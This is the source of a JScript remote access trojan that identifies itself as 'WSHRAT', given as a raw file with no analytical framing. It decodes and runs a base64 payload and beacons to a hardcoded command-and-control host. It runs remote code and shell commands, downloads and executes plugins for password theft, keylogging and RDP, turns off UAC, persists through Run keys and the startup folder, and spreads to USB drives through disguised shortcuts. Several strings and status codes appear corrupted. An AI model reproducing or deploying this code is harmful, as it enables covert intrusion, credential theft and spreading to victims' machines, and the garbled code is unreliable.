haR0ZzYkdaeWIyMWhibms3Q24wS0NncG1kVzVqZEdsdmJpQmxiblZ0Y0hKdlkyVnpjeWdwZXdvZ0lDQC0jZ2RtRnlJR1Z3SUQwZ0lpSTdDblJ5ZVhzS2RtRnlJRzlpYW5kdGFYTmxjblpwWTJVZ1BTQkhaWFJQWW1wbFkzUW9JbmRwYm0xbmJYUnpPbHhjWEZ3dVhGeHliMjkwWEZ4amFXMTJNaUlwT3dwMllYSWdZMjlzYVhSbGJYTWdQU0J2WW1wM2JXbHpaWEoyYVdObExrVjRaV05SZFdWeWVTZ2ljMlZzWldOMElDb2dabkp2YlNCM2FXNHpNbDl3Y285alpYTnpJaXh1ZFd4c0xEUTRLVHNLQ21admNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2loamIyeHBkR1Z0Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tJQ0AtI2dJSFpoY2lCdlltcHBkR1Z0SUQwZ1pta3VhWFJsYlNncE93b0paWEAtI2dQU0JsY0NALSNySUc5aWFtbDBaVzB1Ym1GdFpTQC0jcklDSmVJanNLQ1dWd0lEMGdaWEAtI2dLeUJ2WW1wcGRHVnRMbkJ5YjJObGMzTkpaQ0AtI3JJQ0plSWpzS0lDQC0jZ0lHVndJRDBnWlhALSNnS3lCdlltcHBkR1Z0TG1WNFpXTjFkR0ZpYkdWUVlYUm9JQ3NnYzNCc2FYUmxjanNLZlFwOVkyRjBZMmdvWlhJcGUzMEtjbVYwZFhKdUlHVndPd3A5Q2dwbWRXNWpkR2x2YmlCbGVHbDBjSEp2WTJWemN5QC0jb2NHbGtLWHNLZEhKNWV3cHphR1ZzYkc5aWFpNXlkVzRvSW5SaGMydHJhV3hzSUM5R0lDOVVJQzlRU1VRZ0lpQC0jcklIQnBaQ3d3TEhSeWRXVXBPd3A5WTJGMFkyZ29aWEp5S1h0OUNuMEtDbVoxYm1OMGFXOXVJR2RsZEZCaGNtVnVkRVJwY21WamRHOXllU2h3WVhSb0tYc0tDWFpoY2lCbWJ5QC0jOUlHWnBiR1Z6ZVhOMFpXMXZZbW91WjJWMFJtbHNaU2h3WVhSb0tUc0tDWEpsZEhWeWJpQm1hV3hsYzNsemRHVnRiMkpxTG1kbGRGQmhjbVZ1ZEVadmJHUmxjazVoYldVb1ptOHBPd3A5Q2dwbWRXNWpkR2x2YmlCbGJuVnRabUZtSUNobGJuVnRaR2x5S1hzS0lDQC0jZ0lIWmhjaUJ5WlNALSM5SUNJaU93cDBjbmw3Q2lALSNnSUNCbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSR2IyeGtaWElnS0dWdWRXMWthWElwTG5OMVltWnZiR1JsY25NcE95QC0jaFpta3VZWFJGYm1Rb0tUc2dabWt1Ylc5MlpVNWxlSFFvS1NsN0NpQC0jZ0lDQC0jZ0lDQC0jZ2RtRnlJR1x2YkdSbGNpQC0jOUlHWnBMbWwwWlcwb0tUc0tJQ0AtI2dJQ0AtI2dJQ0J5WlNALSM5SUhKbElDc2dabTlzWkdWeUxtNWhiV1VnS3lALSNpWGw1a1hpSWdLeUJtYjJ4a1pYSXVZWFIwY21saWRYUmxjeUAtI3JJSE53YkdsMFpYSTdJQC0jb2dJQ0AtI2dmUW9nSUNALSNnWm85eUtIWmhjaUJtYVNALSM5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR1pwYkdWemVYTjBaVzF2WW1vdVoyVjBSbTlzWkdWeUlDaGxiblZ0WkdseUtTNW1hV3hsY3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tJQ0AtI2dJQ0AtI2dJQ0IyWVhJZ1ptbHNaU0AtIzlJR1pwTG1sMFpXMG9LVHNLSUNALSNnSUNALSNnSUNCeVpTQC0jOUlISmxJQ3NnWm1sc1pTNXVZVzFsSUNzZ0lsNGlJQ3NnWm1sc1pTNXphWHBsSUNzZ0lsNGlJQ3NnWm1sc1pTNWhkSFJ5YVdKMWRHVnpJQ3NnYzNCc2FYUmxjanNnQ2lALSNnSUNCOUNuMWpZWFJqYUNobGNuSXBlMzBLY21WMGRYSnVJSEpsT3dwOSI7CgkJCWJyZWFrOwoJCWNhc2UgImRlY29kZWQiOgoJCQlyZXR1cm4gRmVkSG91c2luZygiZW5jb2RlZCIpLnJlcGxhY2UoRmVkSG91c2luZygicmVnZXgiKSwgIkEiKTsKCQkJYnJlYWs7CgkJY2FzZSAidG1wIjoKCQkJcmV0dXJuIEZlZEhvdXNpbmcoIm1zX3htbCIpLmNyZWF0ZUVsZW1lbnQobGFiZWwpOwoJCQlicmVhazsKCQlkZWZhdWx0OgoJCQlyZXR1cm4gV1NjcmlwdC5DcmVhdGVPYmplY3QoRmVkSG91c2luZygidXRmOCIpKTsKCX0KfQoKdmFyIHRtcCA9IEZlZEhvdXNpbmcoInRtcCIpOwx0bXAuZGF0YVR5cGUgPSAiYmluLmJhc2U2NCI7CnRtcC50ZXh0ID0gRmVkSG91c2luZygiZGVjb2RlZCIpOwpldmFsKEZlZEhvdXNpbmcoImxhYmVsIikuZ2V0U3RyaW5nKCh0bXAubm9kZVR5cGVkVmFsdWUpKSk7";
|
|
var wshShell1 = WScript.CreateObject("WScript.Shell") ;
|
|
var appdatadir1 = wshShell1.ExpandEnvironmentStrings("%appdata%");
|
|
var stubpath1 = appdatadir1 + "\\ljSULvdTZD.js";
|
|
var decoded1 = decodeBase64(longText1);
|
|
writeBytes(stubpath1, decoded1);
|
|
wshShell1.run("wscript //B \"" + stubpath1 + "\"") ;
|
|
}catch(er){}
|
|
function writeBytes(file, bytes)
|
|
{
|
|
try
|
|
{
|
|
var binaryStream = WScript.CreateObject("ADODB.Stream");
|
|
binaryStream.Type =1;
|
|
binaryStream.Open();
|
|
binaryStream.Write(bytes);
|
|
binaryStream.SaveToFile(file,2);
|
|
}
|
|
catch(err){}
|
|
}
|
|
function decodeBase64(base64)
|
|
{
|
|
var DM = WScript.CreateObject("Microsoft.XMLDOM") ;
|
|
var EL = DM.createElement("tmp");
|
|
EL.dataType = "bin.base64";
|
|
EL.text = base64;
|
|
return EL.nodeTypedValue;
|
|
}
|
|
wshShell1 = null;
|
|
var host = "www.tcoolsoul.com";
|
|
var port = 1765;
|
|
var installdir ="%appdata%";
|
|
var lnkfile = true;
|
|
var lnkfolder = true;
|
|
var shellobj = WScript.CreateObject("wscript.shell");
|
|
var filesystemobj = WScript.CreateObject("scripting.filesystemobject");
|
|
var httpobj = WScript.CreateObject("msxml2.xmlhttp");
|
|
var installname = WScript.scriptName;
|
|
var startux = shellobj.specialFolders("startup" + "\\");
|
|
installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\";
|
|
if(!filesystemobj.folderExists(installdir)){installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";}
|
|
var spliter = "|";
|
|
var sleep = 5008;
|
|
var response, cmd, param, oneonce;
|
|
var inf = "";
|
|
var usbspreading = "";
|
|
var startdate = "";
|
|
instance();
|
|
while(true)
|
|
{
|
|
try
|
|
{
|
|
install();
|
|
response = "";
|
|
response = post("is-ready","");
|
|
cmd = response.split(spliter);
|
|
switch(cmd[0])
|
|
{
|
|
case "disconnect":
|
|
WScript.quit();
|
|
break;
|
|
case "reboot":
|
|
shellobj.run("%comspec% /c shutdown /r /t 0(/f", 8, true);
|
|
break;
|
|
case "shutdown":
|
|
shellobj.run("%comspec%(/c shutdown(/s(/t(0 /f", 0, true);
|
|
break;
|
|
case "excecute":
|
|
param = cmd[1];
|
|
eval(param);
|
|
break;
|
|
case "get-pass":
|
|
passgrabber(cmd[1], "cmdc.exe", cmd[2]);
|
|
break;
|
|
case "get-pass-offline":
|
|
passgrabber2(cmd[1],"cmdc.exe", cmd[2]);
|
|
break;
|
|
case "update":
|
|
param = response.substr(response.indexOf("|") + 1);
|
|
oneonce.close();
|
|
oneonce = filesystemobj.openTextFile(installdir + installname ,2, false);
|
|
oneonce.write(param);
|
|
oneonce.close();
|
|
shellobj.run("wscript.exe //B \"" + installdir + installname + "\"");
|
|
updatestatus("Updated");
|
|
wscript.quit();
|
|
case "uninstall":
|
|
uninstall();
|
|
break;
|
|
case "up-n-exec":
|
|
download(cmd[1],cmd[2]);
|
|
break;
|
|
case "bring-log":
|
|
upload(installdir +"wshlogs\\" + cmd[1], "take-log");
|
|
break;
|
|
case "down-n-exec":
|
|
sitedownloader(cmd[1],cmd[2]);
|
|
break;
|
|
case "filemanager":
|
|
servicestarter(cmd[1],"fm-plugin.exe", information());
|
|
break;
|
|
case "rdp":
|
|
servicestarter(cmd[1], "rd-plugin.exe", information());
|
|
break;
|
|
case "keylogger":
|
|
keyloggerstarter(cmd[1], "kl-plugin.exe", information(),0);
|
|
break;
|
|
case "offline-keylogger":
|
|
keyloggerstarter(cmd[1],"kl-plugin.exe", information(), 1);
|
|
break;
|
|
case "browse-logs":
|
|
post("is-logs", enumfaf(installdir + "wshlogs" ));
|
|
break;
|
|
case "cmd-shell":
|
|
param = cmd[1];
|
|
post("is-cmd-shell",cmdshell(param));
|
|
break;
|
|
case "get-processes":
|
|
post("is-processes", enumprocess());
|
|
break;
|
|
case "disable-uac":
|
|
if(WScript.Arguments.Named.Exists("elevated") == true)
|
|
{
|
|
var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv");
|
|
oReg.SetDwordValue(0x80800802,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA",0);
|
|
oReg.SetDwordValue(0x80080082,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0);
|
|
oReg = null;
|
|
updatestatus("UAC+Disabled+Reboot+Required");
|
|
}
|
|
break;
|
|
case "elevate":
|
|
if(WScript.Arguments.Named.Exists("elevated") == false)
|
|
{
|
|
try
|
|
{
|
|
oneonce.close();
|
|
oneonce = null;
|
|
WScript.CreateObject("Shell.Application" .ShellExecute("wscript.exe"," //B \"" + WScript.ScriptFullName + "\" /elevated", "","runas",1));
|
|
updatestatus("Client+Elevated");
|
|
}
|
|
catch(nn){}
|
|
WScript.quit();
|
|
}
|
|
else {updatestatus("Client+Elevated");}
|
|
break;
|
|
case "if-elevate":
|
|
if(WScript.Arguments.Named.Exists("elevated") == false){updatestatus("Client+Not+Elevated");}
|
|
else{updatestatus("Client+Elevated");}
|
|
break;
|
|
case "kill-process":
|
|
exitprocess(cmd[1]);
|
|
break;
|
|
case "sleep":
|
|
param = cmd[1];
|
|
sleex = eval(param);
|
|
break;
|
|
}
|
|
}
|
|
catch(er){}
|
|
WScript.sleep(sleep);
|
|
}
|
|
function install()
|
|
{
|
|
var lnkobj;
|
|
var filename;
|
|
var foldername;
|
|
var fileicon;
|
|
var foldericon;
|
|
upstart();
|
|
for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext())
|
|
{
|
|
var drive = dri.item();
|
|
if (drive.isready == true)
|
|
{
|
|
if (drive.freespace > 8 )
|
|
{
|
|
if (drive.drivetype == 1)
|
|
{
|
|
try
|
|
{
|
|
filesystemobj.copyFile(WScript.scriptFullName , drive.path + "\\" + installname,true);
|
|
if (filesystemobj.fileExists (drive.path +"\\" + installname))
|
|
{filesystemobj.getFile(drive.path + "\\" + installname).attributes = 6;}
|
|
}
|
|
catch(eiju){}
|
|
for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\" .files)); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
try
|
|
{
|
|
var file = fi.item();
|
|
if(lnkfile == false){break;}
|
|
if (file.name.indexOf("."))
|
|
{
|
|
if (file.name.split(".")[file.name.split(".").length -1].toLowercase != "lnk" )
|
|
{
|
|
file.attributes =6;
|
|
if((file.name.toUppercase) != installname.toUppercase)
|
|
{
|
|
filename = file.name.split(".");
|
|
lnkobj = shellobj.createShortcut(drive.path + "\\" + filename[0] +".lnk");
|
|
lnkobj.windowStyle = 7;
|
|
lnkobj.targetPath = "cmd.exe";
|
|
lnkobj.workingDirectory ="";
|
|
lnkobj.arguments ="/c start " + installname.replace(new RegExp(" ", "g" , "\" \"" + "&start ")+ file.name.replace(new RegExp(" ", "g" , "\" \"" +"&exit")));
|
|
try
|
|
{
|
|
fileicon = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead( "HKEY_LOCAL_MACHINE\\software\\classes\\.") + file.name.split(".")[file.name.split(".").length -1]+ "\\" +"\\defaulticon\\");
|
|
}
|
|
catch(eeee){}
|
|
if(fileicon.indexOf(",") == 8){lnkobj.iconLocation = file.path;}
|
|
else {lnkobj.iconLocation = fileicon;}
|
|
lnkobj.save();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch(err){}
|
|
}
|
|
for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\" .subFolders));!fi.atEnd(); fi.moveNext())
|
|
{
|
|
try
|
|
{
|
|
var folder = fi.item();
|
|
if (lnkfolder == false){break;}
|
|
folder.attributes =6;
|
|
foldername = folder.name;
|
|
lnkobj = shellobj.createShortcut(drive.path + "\\" + foldername + ".lnk");
|
|
lnkobj.windowStyle = 7;
|
|
lnkobj.targetPath = "cmd.exe";
|
|
lnkobj.workingDirectory = "";
|
|
lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ","g" ,"\" \"" + "&start explorer ") + folder.name.replace(new RegExp(" ", "g" , "\" \"" +"&exit")));
|
|
foldericon = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\classes\\folder\\defaulticon\\");
|
|
if(foldericon.indexOf(",") == 8){lnkobj.iconLocation = folder.path;}
|
|
else {lnkobj.iconLocation = foldericon;}
|
|
lnkobj.save();
|
|
}
|
|
catch(err){}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
function uninstall()
|
|
{
|
|
try
|
|
{
|
|
var filename;
|
|
var foldername;
|
|
try
|
|
{
|
|
shellobj.RegDelete("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]);
|
|
shellobj.RegDelete("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]);
|
|
}
|
|
catch(ei){}
|
|
try
|
|
{
|
|
filesystemobj.deleteFile(startup + installname ,true);
|
|
filesystemobj.deleteFile(WScript.scriptFullName ,true);
|
|
}
|
|
catch(eej){}
|
|
for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext())
|
|
{
|
|
var drive = dri.item();
|
|
if (drive.isready == true)
|
|
{
|
|
if (drive.freespace > 8 )
|
|
{
|
|
if (drive.drivetype == 1)
|
|
{
|
|
for(var fi = new Enumerator(filesystemobj.getfolder(drive.path +"\\" .files)); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
var file = fi.item();
|
|
try
|
|
{
|
|
if (file.name.indexOf("." ))
|
|
{
|
|
if ((file.name.split(".")[file.name.split(".").length -1]).toLowercase !="lnk" )
|
|
{
|
|
file.attributes =0;
|
|
if (file.name.toUppercase != installname.toUppercase)
|
|
{
|
|
filename = file.name.split(".");
|
|
filesystemobj.deleteFile(drive.path + "\\" + filename[0] + ".lnk" );
|
|
}
|
|
else{filesystemobj.deleteFile(drive.path + "\\" + file.name);}
|
|
}
|
|
else{filesystemobj.deleteFile(file.path);}
|
|
}
|
|
}
|
|
catch(ex){}
|
|
}
|
|
for(var fi = new Enumerator(filesystemobj.getfolder(drive.path +"\\" .subFolders)); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
var folder = fi.item();
|
|
folder.attributes = 0;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch(err){}
|
|
WScript.quit();
|
|
}
|
|
function post(cmd ,param)
|
|
{
|
|
try
|
|
{
|
|
httpobj.open("post","http://" + host +":" + port +"/" + cmd, false);
|
|
httpobj.setRequestHeader("user-agent:",information());
|
|
httpobj.send(param);
|
|
return httpobj.responseText;
|
|
}
|
|
catch(err){return "";}
|
|
}
|
|
function information()
|
|
{
|
|
try
|
|
{
|
|
if (inf == "" )
|
|
{
|
|
inf = hwid() + spliter;
|
|
inf = inf + shellobj.ExpandEnvironmentStrings("%computername%") + spliter ;
|
|
inf = inf + shellobj.ExpandEnvironmentStrings("%username%") + spliter;
|
|
var root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2");
|
|
var os = root.ExecQuery("select(* from win32_operatingsystem");
|
|
for(var fi = new Enumerator(os);!fi.atEnd(); fi.moveNext())
|
|
{
|
|
var osinfo = fi.item();
|
|
inf = inf + osinfo.caption + spliter;
|
|
break;
|
|
}
|
|
inf = inf +"plus" + spliter;
|
|
inf = inf + security() + spliter;
|
|
inf = inf + usbspreading;
|
|
inf ="WSHRAT" + spliter + inf + spliter + "JavaScript-v1.2";
|
|
return inf;
|
|
}
|
|
else{return inf;}
|
|
}
|
|
catch(err){return "";}
|
|
}
|
|
function upstart()
|
|
{
|
|
try
|
|
{
|
|
try
|
|
{
|
|
shellobj.RegWrite("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe //B \"" + installdir + installname + "\"" ,"REG_SZ");
|
|
shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe(//B \"" + installdir + installname + "\"" , "REG_SZ");
|
|
}
|
|
catch(ei){}
|
|
filesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true);
|
|
filesystemobj.copyFile(WScript.scriptFullName, startup + installname, true);
|
|
}
|
|
catch(err){}
|
|
}
|
|
function hwid()
|
|
{
|
|
try
|
|
{
|
|
var root = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
|
|
var disks = root.ExecQuery ("select * from win32_logicaldisk");
|
|
for(var fi = new Enumerator(disks);!fi.atEnd(); fi.moveNext())
|
|
{
|
|
var disk = fi.item();
|
|
if (disk.volumeSerialNumber!="")
|
|
{
|
|
return disk.volumeSerialNumber;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
catch(err){return "";}
|
|
}
|
|
function security()
|
|
{
|
|
try
|
|
{
|
|
var objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2");
|
|
var colitems = objwmiservice.ExecQuery("select * from win32_operatingsystem",null,48);
|
|
var versionstr, osversion;
|
|
for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
var objitem = fi.item();
|
|
versionstr = objitem.version.toString().split(".");
|
|
}
|
|
osversion = versionstr[0] +".";
|
|
for (var x = 1; x < versionstr.length; x++){osversion = osversion + versionstr[0];}
|
|
osversion = eval(osversion);
|
|
var sc;
|
|
if (osversion >6){ sc ="securitycenter2"; }
|
|
else{ sc = "securitycenter";}
|
|
var objsecuritycenter = GetObject("winmgmts:\\\\localhost\\root\\" + sc);
|
|
var colantivirus = objsecuritycenter.ExecQuery("select * from antivirusproduct","wql", 0);
|
|
var secu = "";
|
|
for(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
var objantivirus = fi.item();
|
|
secu = secu + objantivirus.displayName +" .";
|
|
}
|
|
if(secu =="" ){secu = "nan-av";}
|
|
return secu;
|
|
}
|
|
catch(err){}
|
|
}
|
|
function getDate()
|
|
{
|
|
var s ="";
|
|
var d = new Date();
|
|
s += d.getDate() +"/";
|
|
s += d.getMonth() +1 + "/";
|
|
s += d.getYear();
|
|
return s;
|
|
}
|
|
function instance()
|
|
{
|
|
try
|
|
{
|
|
try {usbspreading = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\");}
|
|
catch(eee){}
|
|
if(usbspreading == "" )
|
|
{
|
|
if (WScript.scriptFullName.substr(1).toLowercase == ":\\" + installname.toLowercase)
|
|
{
|
|
usbspreading = "true - " + getDate();
|
|
try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}
|
|
catch(eeeee){}
|
|
}
|
|
else
|
|
{
|
|
usbspreading = "false - " + getDate();
|
|
try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}
|
|
catch(eeeee){}
|
|
}
|
|
}
|
|
upstart();
|
|
var scriptfullnameshort = filesystemobj.getFile(WScript.scriptFullName);
|
|
var installfullnameshort = filesystemobj.getFile(installdir + installname);
|
|
if (scriptfullnameshort.shortPath.toLowercase != installfullnameshort.shortPath.toLowercase)
|
|
{
|
|
shellobj.run("wscript.exe(//B \"" + installdir + installname + "\"");
|
|
WScript.quit();
|
|
}
|
|
oneonce = filesystemobj.openTextFile(installdir + installname ,8, false);
|
|
}
|
|
catch(err){WScript.quit();}
|
|
}
|
|
function passgrabber(fileurl, filename, retcmd)
|
|
{
|
|
shellobj.run("%comspec%(/c taskkill(/F(/IM " + filename,0, true);
|
|
try{filesystemobj.deleteFile(installdir + filename + "data");}
|
|
catch(ey){}
|
|
var config_file = installdir + filename.substr(0, filename.lastindexOf(".") +".cfg");
|
|
var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTix=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C(00(00(00(00(00(00(00(01(00(00(00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF(00(00(00(00(00(00(00(00(80(02(00(00 E0(01(00(00\nColumns=FA(00(00(00 FA(00(01(00(6E(00(02(00(6E(00(03(00(78(00(04(00(78(00(05(00(78(00(06(00(64(00(07(00 FA(00(08(00\nSort=0";
|
|
var writer = filesystemobj.openTextFile(config_file, 2, true);
|
|
writer.writeLine(cfg);
|
|
writer.close();
|
|
writer = null;
|
|
var strlink = fileurl;
|
|
var strsaveto = installdir + filename;
|
|
var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp");
|
|
objhttpdownload.open("get", strlink, false);
|
|
objhttpdownload.setRequestHeader("cache-control:", "max-age=8");
|
|
objhttpdownload.send();
|
|
var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
|
|
if(objfsodownload.fileExists(strsaveto)){objfsodownload.deleteFile(strsaveto);}
|
|
if(objhttpdownload.status ==208)
|
|
{
|
|
var objstreamdownload = WScript.CreateObject("adodb.stream");
|
|
objstreamdownload.Type =1;
|
|
objstreamdownload.Open();
|
|
objstreamdownload.Write(objhttpdownload.responseBody);
|
|
objstreamdownload.SaveToFile(strsaveto);
|
|
objstreamdownload.close();
|
|
objstreamdownload = null;
|
|
}
|
|
if(objfsodownload.fileExists(strsaveto))
|
|
{
|
|
var runner = WScript.CreateObject("Shell.Application");
|
|
var saver = objfsodownload.getFile(strsaveto).shortPath
|
|
for(var i=0; i<10; i++)
|
|
{
|
|
shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
|
|
WScript.sleep(1008);
|
|
runner.shellExecute(saver, "(/stext " + saver + "data");
|
|
WScript.sleex(2800);
|
|
if(objfsodownload.fileExists(saver + "data")){break;}
|
|
}
|
|
deletefaf(strsaveto);
|
|
upload(saver + "data", retcmd);
|
|
}
|
|
}
|
|
function passgrabber2(fileurl, filename, fileurl2)
|
|
{
|
|
for(var h=0; h<2; h++)
|
|
{
|
|
shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
|
|
try{filesystemobj.deleteFile(installdir + filename + "data");}
|
|
catch(ey){}
|
|
var config_file = installdir + filename.substr(8, filename.lastindexOf(".") + ".cfg");
|
|
var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 08 08 08 08 08 08 08 01 08 08 08 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 08 08 08 08 08 08 08 08 88 02 08 08 E8 01 08 00\nColumns=FA 08 08 08 FA 08 01 08 6E 08 02 08 6E 08 03 08 78 08 04 08 78 08 05 08 78 08 06 08 64 08 07 08 FA 08 08 00\nSort=0";
|
|
var writer = filesystemobj.openTextFile(config_file, 2, true);
|
|
writer.writeLine(cfg);
|
|
writer.close();
|
|
writer = null;
|
|
var strlink = fileurl;
|
|
if(h ==1){strlink = fileurl2;}
|
|
var strsaveto = installdir + filename;
|
|
var objhttpdownload = WScript.CreateObject("msxml2.xmlhttx");
|
|
objhttpdownload.open("get", strlink, false);
|
|
objhttpdownload.setRequestHeader("cache-control:","max-age=0");
|
|
objhttpdownload.send();
|
|
var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
|
|
if(objfsodownload.fileExists(strsaveto)){objfsodownload.deleteFile(strsaveto);}
|
|
if (objhttpdownload.status == 280)
|
|
{
|
|
var objstreamdownload = WScript.CreateObject("adodb.stream");
|
|
objstreamdownload.Type = 1;
|
|
objstreamdownload.Open();
|
|
objstreamdownload.Write(objhttpdownload.responseBody);
|
|
objstreamdownload.SaveToFile(strsaveto);
|
|
objstreamdownload.close();
|
|
objstreamdownload = null;
|
|
}
|
|
if(objfsodownload.fileExists(strsaveto))
|
|
{
|
|
var runner = WScript.CreateObject("Shell.Application");
|
|
var saver = objfsodownload.getFile(strsaveto).shortPath;
|
|
for(var i=0; i<10; i++)
|
|
{
|
|
shellobj.run("%comspec% /c taskkill /F /IM " + filename, 8, true);
|
|
WScript.sleep(1080);
|
|
runner.shellExecute(saver, " /stext " + saver + "data");
|
|
WScript.sleep(2008);
|
|
if(objfsodownload.fileExists(saver + "data"))
|
|
{
|
|
var objstreamuploade = WScript.CreateObject("adodb.stream");
|
|
objstreamuploade.Type =2;
|
|
objstreamuploade.Open();
|
|
objstreamuploade.loadFromFile(saver + "data");
|
|
var buffer = objstreamuploade.ReadText();
|
|
objstreamuploade.close();
|
|
var outpath = installdir + "wshlogs\\recovered_password_browser.log";
|
|
if(h == 1){outpath = installdir + "wshlogs\\recovered_password_email.log";}
|
|
var folder = objfsodownload.GetParentFolderName(outpath);
|
|
if (!objfsodownload.FolderExists(folder)){shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 8, true);}
|
|
writer = filesystemobj.openTextFile(outpath, 2, true);
|
|
writer.write(buffer);
|
|
writer.close();
|
|
writer = null;
|
|
break;
|
|
}
|
|
}
|
|
deletefaf(strsaveto);
|
|
}
|
|
}
|
|
}
|
|
function keyloggerstarter (fileurl, filename, filearg, is_offline)
|
|
{
|
|
shellobj.run("%comspec%(/c taskkill(/F(/IM " + filename,0, true);
|
|
var strlink = fileurl;
|
|
var strsaveto = installdir + filename;
|
|
var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp");
|
|
objhttpdownload.open("get", strlink, false);
|
|
objhttpdownload.setRequestHeader("cache-control:", "max-age=8");
|
|
objhttpdownload.send();
|
|
var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
|
|
if(objfsodownload.fileExists(strsaveto)){objfsodownload.deleteFile(strsaveto);}
|
|
if(objhttpdownload.status ==208)
|
|
{
|
|
var objstreamdownload = WScript.CreateObject("adodb.stream");
|
|
objstreamdownload.Type =1;
|
|
objstreamdownload.Open();
|
|
objstreamdownload.Write(objhttpdownload.responseBody);
|
|
objstreamdownload.SaveToFile(strsaveto);
|
|
objstreamdownload.close();
|
|
objstreamdownload = null;
|
|
}
|
|
if(objfsodownload.fileExists(strsaveto)){shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\" " + is_offline);}
|
|
}
|
|
function servicestarter(fileurl, filename, filearg)
|
|
{
|
|
shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
|
|
var strlink = fileurl;
|
|
var strsaveto = installdir + filename;
|
|
var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" );
|
|
objhttpdownload.open("get", strlink, false);
|
|
objhttpdownload.setRequestHeader("cache-control:","max-age=0");
|
|
objhttpdownload.send();
|
|
var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
|
|
if(objfsodownload.fileExists(strsaveto)){objfsodownload.deleteFile(strsaveto);}
|
|
if (objhttpdownload.status == 280)
|
|
{
|
|
var objstreamdownload = WScript.CreateObject("adodb.stream");
|
|
objstreamdownload.Type = 1;
|
|
objstreamdownload.Open();
|
|
objstreamdownload.Write(objhttpdownload.responseBody);
|
|
objstreamdownload.SaveToFile(strsaveto);
|
|
objstreamdownload.close();
|
|
objstreamdownload = null;
|
|
}
|
|
if(objfsodownload.fileExists(strsaveto)){shellobj.run("\"" + strsaveto + "\" " + host + " " + port +" \"" + filearg +"\"");}
|
|
}
|
|
function sitedownloader (fileurl,filename)
|
|
{
|
|
var strlink = fileurl;
|
|
var strsaveto = installdir + filename;
|
|
var objhttpdownload = WScript.CreateObject("msxml2.serverxmlhttp");
|
|
objhttpdownload.open("get", strlink, false);
|
|
objhttpdownload.setRequestHeader("cache-control", "max-age=0");
|
|
objhttpdownload.send();
|
|
var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
|
|
if(objfsodownload.fileExists(strsaveto)){objfsodownload.deleteFile(strsaveto);}
|
|
if (objhttpdownload.status == 200)
|
|
{
|
|
var objstreamdownload = WScript.CreateObject("adodb.stream");
|
|
objstreamdownload.Type = 1;
|
|
objstreamdownload.Open();
|
|
objstreamdownload.Write(objhttpdownload.responseBody);
|
|
objstreamdownload.SaveToFile(strsaveto);
|
|
objstreamdownload.close();
|
|
objstreamdownload = null;
|
|
}
|
|
if(objfsodownload.fileExists(strsaveto))
|
|
{
|
|
